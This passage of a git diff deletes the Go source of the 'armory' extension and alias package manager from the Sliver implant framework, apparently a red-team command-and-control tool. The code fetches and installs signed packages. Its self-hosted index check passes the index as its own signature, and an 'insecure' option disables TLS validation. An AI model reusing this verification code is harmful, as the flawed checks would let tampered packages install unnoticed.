-	}
-
-	return ArmoryHTTPConfig{
-		IgnoreCache:          ctx.Flags.Bool("ignore-cache"),
-		ProxyURL:             proxyURL,
-		Timeout:              timeout,
-		DisableTLSValidation: ctx.Flags.Bool("insecure"),
-	}
-}
-
-// fetch armory indexes, only returns indexes that were fetched successfully
-// errors are still in the cache objects however and can be checked
-func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
-	wg := &sync.WaitGroup{}
-	for _, armoryConfig := range armoryConfigs {
-		wg.Add(1)
-		go fetchIndex(armoryConfig, clientConfig, wg)
-	}
-	wg.Wait()
-	indexes := []ArmoryIndex{}
-	indexCache.Range(func(key, value interface{}) bool {
-		cacheEntry := value.(indexCacheEntry)
-		if cacheEntry.LastErr == nil {
-			indexes = append(indexes, cacheEntry.Index)
-		}
-		return true
-	})
-	return indexes
-}
-
-func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
-	defer wg.Done()
-	cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
-	if ok {
-		cached := cacheEntry.(indexCacheEntry)
-		if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
-			return
-		}
-	}
-
-	armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
-	defer func() {
-		armoryResult.Fetched = time.Now()
-		indexCache.Store(armoryConfig.PublicKey, *armoryResult)
-	}()
-
-	repoURL, err := url.Parse(armoryConfig.RepoURL)
-	if err != nil {
-		armoryResult.LastErr = err
-		return
-	}
-	if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
-		armoryResult.LastErr = errors.New("invalid repo url scheme in index")
-		return
-	}
-
-	var index *ArmoryIndex
-	if indexParser, ok := indexParsers[repoURL.Hostname()]; ok {
-		index, err = indexParser(armoryConfig, clientConfig)
-	} else {
-		index, err = DefaultArmoryIndexParser(armoryConfig, clientConfig)
-	}
-	if index != nil {
-		armoryResult.Index = *index
-	}
-	if err != nil {
-		armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
-	}
-}
-
-func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
-	wg := &sync.WaitGroup{}
-	for _, index := range indexes {
-		for _, armoryPkg := range index.Extensions {
-			wg.Add(1)
-			armoryPkg.IsAlias = false
-			go fetchPackageSignature(wg, armoryPkg, clientConfig)
-		}
-		for _, armoryPkg := range index.Aliases {
-			wg.Add(1)
-			armoryPkg.IsAlias = true
-			go fetchPackageSignature(wg, armoryPkg, clientConfig)
-		}
-	}
-	wg.Wait()
-}
-
-func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
-	defer wg.Done()
-	cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
-	if ok {
-		cached := cacheEntry.(pkgCacheEntry)
-		if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
-			return
-		}
-	}
-
-	pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
-	defer func() {
-		pkgCacheEntry.Fetched = time.Now()
-		pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
-	}()
-
-	repoURL, err := url.Parse(armoryPkg.RepoURL)
-	if err != nil {
-		pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
-		return
-	}
-	if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
-		pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
-		return
-	}
-
-	var sig *minisign.Signature
-	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
-		sig, _, err = pkgParser(armoryPkg, true, clientConfig)
-	} else {
-		sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
-	}
-	if err != nil {
-		pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
-		return
-	}
-	if sig != nil {
-		pkgCacheEntry.Sig = *sig
-	} else {
-		pkgCacheEntry.LastErr = errors.New("nil signature")
-		return
-	}
-	if armoryPkg != nil {
-		pkgCacheEntry.Pkg = *armoryPkg
-	}
-	if err == nil {
-		manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
-		if err != nil {
-			pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
-			return
-		}
-		if armoryPkg.IsAlias {
-			pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
-		} else {
-			pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
-		}
-		if err != nil {
-			pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
-		}
-	}
-}

client/command/armory/armory_test.go

@@ -1 +0,0 @@
-package armory

client/command/armory/install.go

@@ -1,284 +0,0 @@
-package armory
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"errors"
-	"io/ioutil"
-	"net/url"
-	"os"
-	"path/filepath"
-
-	"github.com/bishopfox/sliver/client/command/alias"
-	"github.com/bishopfox/sliver/client/command/extensions"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/server/cryptography/minisign"
-	"github.com/desertbit/grumble"
-)
-
-var (
-	ErrPackageNotFound = errors.New("package not found")
-)
-
-// ArmoryInstallCmd - The armory install command
-func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	name := ctx.Args.String("name")
-	if name == "" {
-		con.PrintErrorf("A package or bundle name is required")
-		return
-	}
-	clientConfig := parseArmoryHTTPConfig(ctx)
-	refresh(clientConfig)
-	err := installPackageByName(name, clientConfig, con)
-	if err == nil {
-		return
-	}
-	if err == ErrPackageNotFound {
-		bundles := bundlesInCache()
-		for _, bundle := range bundles {
-			if bundle.Name == name {
-				installBundle(bundle, clientConfig, con)
-				return
-			}
-		}
-	}
-	con.PrintErrorf("No package or bundle named '%s' was found", name)
-}
-
-func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
-	for _, pkgName := range bundle.Packages {
-		err := installPackageByName(pkgName, clientConfig, con)
-		if err != nil {
-			con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
-		}
-	}
-}
-
-func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
-	aliases, extensions := packagesInCache()
-	for _, alias := range aliases {
-		if alias.CommandName == name {
-			installAlias(alias, clientConfig, con)
-			return nil
-		}
-	}
-	for _, ext := range extensions {
-		if ext.CommandName == name {
-			installExtension(ext, clientConfig, con)
-			return nil
-		}
-	}
-	return ErrPackageNotFound
-}
-
-func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
-	err := installAliasPackageByName(alias.CommandName, clientConfig, con)
-	if err != nil {
-		con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
-		return
-	}
-}
-
-func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
-	var entry *pkgCacheEntry
-	pkgCache.Range(func(key, value interface{}) bool {
-		cacheEntry := value.(pkgCacheEntry)
-		if cacheEntry.Pkg.CommandName == name {
-			entry = &cacheEntry
-			return false
-		}
-		return true
-	})
-	if entry == nil {
-		return errors.New("package not found")
-	}
-	repoURL, err := url.Parse(entry.RepoURL)
-	if err != nil {
-		return err
-	}
-
-	con.PrintInfof("Downloading alias ...")
-
-	var sig *minisign.Signature
-	var tarGz []byte
-	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
-		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
-	} else {
-		sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
-	}
-	if err != nil {
-		return err
-	}
-
-	var publicKey minisign.PublicKey
-	publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
-	rawSig, _ := sig.MarshalText()
-	valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
-	if !valid {
-		return errors.New("signature verification failed")
-	}
-
-	tmpFile, err := ioutil.TempFile("", "sliver-armory-")
-	if err != nil {
-		return err
-	}
-	defer os.Remove(tmpFile.Name())
-	_, err = tmpFile.Write(tarGz)
-	if err != nil {
-		return err
-	}
-	tmpFile.Close()
-
-	con.Printf(console.Clearln + "\r") // Clear the line
-
-	installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
-	if installPath == nil {
-		return errors.New("failed to install alias")
-	}
-	_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
-	if err != nil {
-		return err
-	}
-	return nil
-}
-
-func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
-	deps := make(map[string]struct{})
-	resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
-	for dep := range deps {
-		if extensions.CmdExists(dep, con.App) {
-			continue // Dependency is already installed
-		}
-		err := installExtensionPackageByName(dep, clientConfig, con)
-		if err != nil {
-			con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
-			return
-		}
-	}
-	err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
-	if err != nil {
-		con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
-		return
-	}
-}
-
-const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
-
-func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
-	var entry *pkgCacheEntry
-	pkgCache.Range(func(key, value interface{}) bool {
-		cacheEntry := value.(pkgCacheEntry)
-		if cacheEntry.Pkg.CommandName == name {
-			entry = &cacheEntry
-			return false
-		}
-		return true
-	})
-	if entry == nil {
-		return
-	}
-
-	if entry.Extension.DependsOn == "" {
-		return // Avoid adding empty dependency
-	}
-
-	if entry.Extension.DependsOn == name {
-		return // Avoid infinite loop of something that depends on itself
-	}
-	// We also need to look out for circular dependencies, so if we've already
-	// seen this dependency, we stop resolving
-	if _, ok := deps[entry.Extension.DependsOn]; ok {
-		return // Already resolved
-	}
-	if maxDepDepth < len(deps) {
-		return
-	}
-	deps[entry.Extension.DependsOn] = struct{}{}
-	resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
-}
-
-func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
-	var entry *pkgCacheEntry
-	pkgCache.Range(func(key, value interface{}) bool {
-		cacheEntry := value.(pkgCacheEntry)
-		if cacheEntry.Pkg.CommandName == name {
-			entry = &cacheEntry
-			return false
-		}
-		return true
-	})
-	if entry == nil {
-		return errors.New("package not found")
-	}
-	repoURL, err := url.Parse(entry.RepoURL)
-	if err != nil {
-		return err
-	}
-
-	con.PrintInfof("Downloading extension ...")
-
-	var sig *minisign.Signature
-	var tarGz []byte
-	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
-		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
-	} else {
-		sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
-	}
-	if err != nil {
-		return err
-	}
-
-	var publicKey minisign.PublicKey
-	publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
-	rawSig, _ := sig.MarshalText()
-	valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
-	if !valid {
-		return errors.New("signature verification failed")
-	}
-
-	tmpFile, err := ioutil.TempFile("", "sliver-armory-")
-	if err != nil {
-		return err
-	}
-	defer os.Remove(tmpFile.Name())
-	_, err = tmpFile.Write(tarGz)
-	if err != nil {
-		return err
-	}
-	err = tmpFile.Sync()
-	if err != nil {
-		return err
-	}
-
-	con.Printf(console.Clearln + "\r") // Clear download message
-
-	installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
-	if installPath == nil {
-		return errors.New("failed to install extension")
-	}
-	extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
-	if err != nil {
-		return err
-	}
-	if extensions.CmdExists(extCmd.Name, con.App) {
-		con.App.Commands().Remove(extCmd.Name)
-	}
-	extensions.ExtensionRegisterCommand(extCmd, con)
-	return nil
-}

client/command/armory/parsers.go

@@ -1,467 +0,0 @@
-package armory
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"crypto/tls"
-	"encoding/base64"
-	"encoding/json"
-	"errors"
-	"fmt"
-	"io/ioutil"
-	"net"
-	"net/http"
-	"net/url"
-	"path"
-	"strings"
-
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/server/cryptography/minisign"
-)
-
-// ArmoryIndexParser - Generic interface to fetch armory indexes
-type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
-
-// ArmoryPackageParser - Generic interface to fetch armory package manifests
-type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
-
-var (
-	indexParsers = map[string]ArmoryIndexParser{
-		"api.github.com": GithubAPIArmoryIndexParser,
-	}
-	pkgParsers = map[string]ArmoryPackageParser{
-		"api.github.com": GithubAPIArmoryPackageParser,
-		"github.com":     GithubArmoryPackageParser,
-	}
-)
-
-const (
-	armoryIndexFileName    = "armory.json"
-	armoryIndexSigFileName = "armory.minisig"
-)
-
-type armoryIndexResponse struct {
-	Minisig     string `json:"minisig"`      // Minisig
-	ArmoryIndex string `json:"armory_index"` // Base64 String
-}
-
-type armoryPkgResponse struct {
-	Minisig  string `json:"minisig"` // Minisig
-	TarGzURL string `json:"tar_gz_url"`
-}
-
-//
-// Default Parsers for Self-Hosted Armories
-//
-
-// DefaultArmoryParser - Parse the armory index directly from the url
-func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
-	var publicKey minisign.PublicKey
-	err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
-	if err != nil {
-		return nil, err
-	}
-
-	client := httpClient(clientConfig)
-	resp, err := client.Get(armoryConfig.RepoURL)
-	if err != nil {
-		return nil, err
-	}
-	defer resp.Body.Close()
-	body, err := ioutil.ReadAll(resp.Body)
-	if err != nil {
-		return nil, err
-	}
-	if resp.StatusCode != http.StatusOK {
-		return nil, errors.New("api returned non-200 status code")
-	}
-	index := &armoryIndexResponse{}
-	err = json.Unmarshal(body, index)
-	if err != nil {
-		return nil, err
-	}
-
-	// Verify index is signed by trusted key
-	valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
-	if !valid {
-		return nil, errors.New("invalid signature")
-	}
-
-	armoryIndex := &ArmoryIndex{}
-	armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
-	if err != nil {
-		return nil, err
-	}
-	err = json.Unmarshal(armoryIndexData, armoryIndex)
-	if err != nil {
-		return nil, err
-	}
-	return armoryIndex, nil
-}
-
-// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
-func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
-	var publicKey minisign.PublicKey
-	err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
-	if err != nil {
-		return nil, nil, err
-	}
-
-	client := httpClient(clientConfig)
-	resp, err := client.Get(armoryPkg.RepoURL)
-	if err != nil {
-		return nil, nil, err
-	}
-	defer resp.Body.Close()
-	body, err := ioutil.ReadAll(resp.Body)
-	if err != nil {
-		return nil, nil, err
-	}
-	if resp.StatusCode != http.StatusOK {
-		return nil, nil, errors.New("api returned non-200 status code")
-	}
-	pkgResp := &armoryPkgResponse{}
-	err = json.Unmarshal(body, pkgResp)
-	if err != nil {
-		return nil, nil, err
-	}
-	sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
-	if err != nil {
-		return nil, nil, err
-	}
-	var tarGz []byte
-	if !sigOnly {
-		tarGzURL, err := url.Parse(armoryPkg.RepoURL)
-		if err != nil {
-			return nil, nil, err
-		}
-		if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
-			return nil, nil, errors.New("invalid url scheme")
-		}
-		resp, err := client.Get(tarGzURL.String())
-		if err != nil {
-			return nil, nil, err
-		}
-		defer resp.Body.Close()
-		tarGz, err = ioutil.ReadAll(resp.Body)
-		if err != nil {
-			return nil, nil, err
-		}
-		if resp.StatusCode != http.StatusOK {
-			return nil, nil, errors.New("api returned non-200 status code")
-		}
-	}
-	return sig, tarGz, nil
-}
-
-//
-// GitHub API Parsers
-//
-
-type GithubAsset struct {
-	ID   int    `json:"id"`
-	Name string `json:"name"`
-	URL  string `json:"url"`
-	Size int    `json:"size"`
-
-	BrowserDownloadURL string `json:"browser_download_url"`
-}
-
-type GithubRelease struct {
-	ID          int           `json:"id"`
-	Name        string        `json:"name"`
-	URL         string        `json:"url"`
-	HTMLURL     string        `json:"html_url"`
-	TagName     string        `json:"tag_name"`
-	Body        string        `json:"body"`
-	Prerelease  bool          `json:"prerelease"`
-	TarballURL  string        `json:"tarball_url"`
-	ZipballURL  string        `json:"zipball_url"`
-	CreatedAt   string        `json:"created_at"`
-	PublishedAt string        `json:"published_at"`
-	Assets      []GithubAsset `json:"assets"`
-}
-
-// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
-func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
-	var publicKey minisign.PublicKey
-	err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
-	if err != nil {
-		return nil, err
-	}
-
-	client := httpClient(clientConfig)
-	resp, err := client.Get(armoryConfig.RepoURL)
-	if err != nil {
-		return nil, err
-	}
-	defer resp.Body.Close()
-	body, err := ioutil.ReadAll(resp.Body)
-	if err != nil {
-		return nil, err
-	}
-	if resp.StatusCode != http.StatusOK {
-		if resp.StatusCode == http.StatusForbidden {
-			return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
-		}
-		return nil, errors.New("api returned non-200 status code")
-	}
-
-	releases := []GithubRelease{}
-	err = json.Unmarshal(body, &releases)
-	if err != nil {
-		return nil, err
-	}
-	if len(releases) < 1 {
-		return nil, errors.New("no releases found")
-	}
-	release := releases[0] // Latest only right now
-
-	var armoryIndexData []byte
-	var sigData []byte
-	for _, asset := range release.Assets {
-		if asset.Name == armoryIndexFileName {
-			resp, err := client.Get(asset.BrowserDownloadURL)
-			if err != nil {
-				return nil, err
-			}
-			defer resp.Body.Close()
-			armoryIndexData, err = ioutil.ReadAll(resp.Body)
-			if err != nil {
-				return nil, err
-			}
-		}
-		if asset.Name == armoryIndexSigFileName {
-			resp, err := client.Get(asset.BrowserDownloadURL)
-			if err != nil {
-				return nil, err
-			}
-			defer resp.Body.Close()
-			sigData, err = ioutil.ReadAll(resp.Body)
-			if err != nil {
-				return nil, err
-			}
-		}
-	}
-
-	// Verify index is signed by trusted key
-	valid := minisign.Verify(publicKey, armoryIndexData, sigData)
-	if !valid {
-		return nil, errors.New("invalid signature")
-	}
-
-	armoryIndex := &ArmoryIndex{}
-	err = json.Unmarshal(armoryIndexData, armoryIndex)
-	if err != nil {
-		return nil, err
-	}
-	return armoryIndex, nil
-}
-
-// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
-func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
-	var publicKey minisign.PublicKey
-	err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
-	if err != nil {
-		return nil, nil, err
-	}
-
-	client := httpClient(clientConfig)
-	resp, err := client.Get(armoryPkg.RepoURL)
-	if err != nil {
-		return nil, nil, err
-	}
-	defer resp.Body.Close()
-	body, err := ioutil.ReadAll(resp.Body)
-	if err != nil {
-		return nil, nil, err
-	}
-	if resp.StatusCode != http.StatusOK {
-		if resp.StatusCode == http.StatusForbidden {
-			return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
-		}
-		return nil, nil, errors.New("api returned non-200 status code")
-	}
-
-	releases := []GithubRelease{}
-	err = json.Unmarshal(body, &releases)
-	if err != nil {
-		return nil, nil, err
-	}
-	release := releases[0] // Latest only right now
-
-	var sig *minisign.Signature
-	var tarGz []byte
-	for _, asset := range release.Assets {
-		if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
-			var resp *http.Response
-			resp, err = client.Get(asset.BrowserDownloadURL)
-			if err != nil {
-				break
-			}
-			defer resp.Body.Close()
-			var body []byte
-			body, err = ioutil.ReadAll(resp.Body)
-			if err != nil {
-				break
-			}
-			sig, err = parsePkgMinsig(body)
-			if err != nil {
-				break
-			}
-		}
-		if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
-			var resp *http.Response
-			resp, err = client.Get(asset.BrowserDownloadURL)
-			if err != nil {
-				break
-			}
-			defer resp.Body.Close()
-			tarGz, err = ioutil.ReadAll(resp.Body)
-			if err != nil {
-				break
-			}
-		}
-	}
-	return sig, tarGz, err
-}
-
-//
-// GitHub Parsers
-//
-
-// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
-func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
-	latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
-	if err != nil {
-		return nil, nil, err
-	}
-	client := httpClient(clientConfig)
-
-	sigURL, err := url.Parse(armoryPkg.RepoURL)
-	if err != nil {
-		return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
-	}
-	sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
-	sigResp, err := client.Get(sigURL.String())
-	if err != nil {
-		return nil, nil, err
-	}
-	defer sigResp.Body.Close()
-	if sigResp.StatusCode != http.StatusOK {
-		return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
-	}
-	var body []byte
-	body, err = ioutil.ReadAll(sigResp.Body)
-	if err != nil {
-		return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
-	}
-	sig, err := parsePkgMinsig(body)
-	if err != nil {
-		return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
-	}
-
-	var tarGz []byte
-	if !sigOnly {
-		tarGzURL, err := url.Parse(armoryPkg.RepoURL)
-		if err != nil {
-			return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
-		}
-		tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
-		tarGzResp, err := client.Get(tarGzURL.String())
-		if err != nil {
-			return nil, nil, err
-		}
-		defer tarGzResp.Body.Close()
-		if tarGzResp.StatusCode != http.StatusOK {
-			return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
-		}
-		tarGz, err = ioutil.ReadAll(tarGzResp.Body)
-		if err != nil {
-			return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
-		}
-	}
-
-	return sig, tarGz, nil
-}
-
-// We need to intercept the 302 redirect to determine the latest version tag
-func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
-	client := httpClient(clientConfig)
-	client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
-		return http.ErrUseLastResponse
-	}
-	latestURL, err := url.Parse(armoryPkg.RepoURL)
-	if err != nil {
-		return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
-	}
-	latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
-	latestRedirect, err := client.Get(latestURL.String())
-	if err != nil {
-		return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
-	}
-	if latestRedirect.StatusCode != http.StatusFound {
-		return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
-	}
-	if latestRedirect.Header.Get("Location") == "" {
-		return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
-	}
-	latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
-	if err != nil {
-		return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
-			armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
-	}
-	pathSegments := strings.Split(latestLocationURL.Path, "/")
-	for index, segment := range pathSegments {
-		if segment == "tag" && index+1 < len(pathSegments) {
-			return pathSegments[index+1], nil
-		}
-	}
-	return "", errors.New("tag not found in location header")
-}
-
-func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
-	var sig minisign.Signature
-	err := sig.UnmarshalText(data)
-	if err != nil {
-		return nil, err
-	}
-	if len(sig.TrustedComment) < 1 {
-		return nil, errors.New("missing trusted comment")
-	}
-	return &sig, nil
-}
-
-func httpClient(config ArmoryHTTPConfig) *http.Client {
-	return &http.Client{
-		Timeout: config.Timeout,
-		Transport: &http.Transport{
-			Dial: (&net.Dialer{
-				Timeout: config.Timeout,
-			}).Dial,
-
-			Proxy: http.ProxyURL(config.ProxyURL),
-
-			TLSHandshakeTimeout: config.Timeout,
-			TLSClientConfig: &tls.Config{
-				InsecureSkipVerify: config.DisableTLSValidation,
-			},
-		},
-	}
-}

client/command/armory/search.go

@@ -1,65 +0,0 @@
-package armory
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"regexp"
-
-	"github.com/bishopfox/sliver/client/command/alias"
-	"github.com/bishopfox/sliver/client/command/extensions"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/desertbit/grumble"
-)
-
-// ArmorySearchCmd - Search for packages by name
-func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	con.PrintInfof("Refreshing package cache ... ")
-	clientConfig := parseArmoryHTTPConfig(ctx)
-	refresh(clientConfig)
-	con.Printf(console.Clearln + "\r")
-	rawNameExpr := ctx.Args.String("name")
-	if rawNameExpr == "" {
-		con.PrintErrorf("Please specify a search term!\n")
-		return
-	}
-	nameExpr, err := regexp.Compile(rawNameExpr)
-	if err != nil {
-		con.PrintErrorf("Invalid regular expression: %s\n", err)
-		return
-	}
-
-	aliases, exts := packagesInCache()
-	matchedAliases := []*alias.AliasManifest{}
-	for _, a := range aliases {
-		if nameExpr.MatchString(a.CommandName) {
-			matchedAliases = append(matchedAliases, a)
-		}
-	}
-	matchedExts := []*extensions.ExtensionManifest{}
-	for _, ext := range exts {
-		if nameExpr.MatchString(ext.CommandName) {
-			matchedExts = append(matchedExts, ext)
-		}
-	}
-	if len(matchedAliases) == 0 && len(matchedExts) == 0 {
-		con.PrintInfof("No packages found matching '%s'\n", rawNameExpr)
-		return
-	}
-	PrintArmoryPackages(matchedAliases, matchedExts, con)
-}

client/command/armory/update.go

@@ -1,112 +0,0 @@
-package armory
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"io/ioutil"
-	"strings"
-
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/command/alias"
-	"github.com/bishopfox/sliver/client/command/extensions"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/desertbit/grumble"
-)
-
-// ArmoryUpdateCmd - Update all installed extensions/aliases
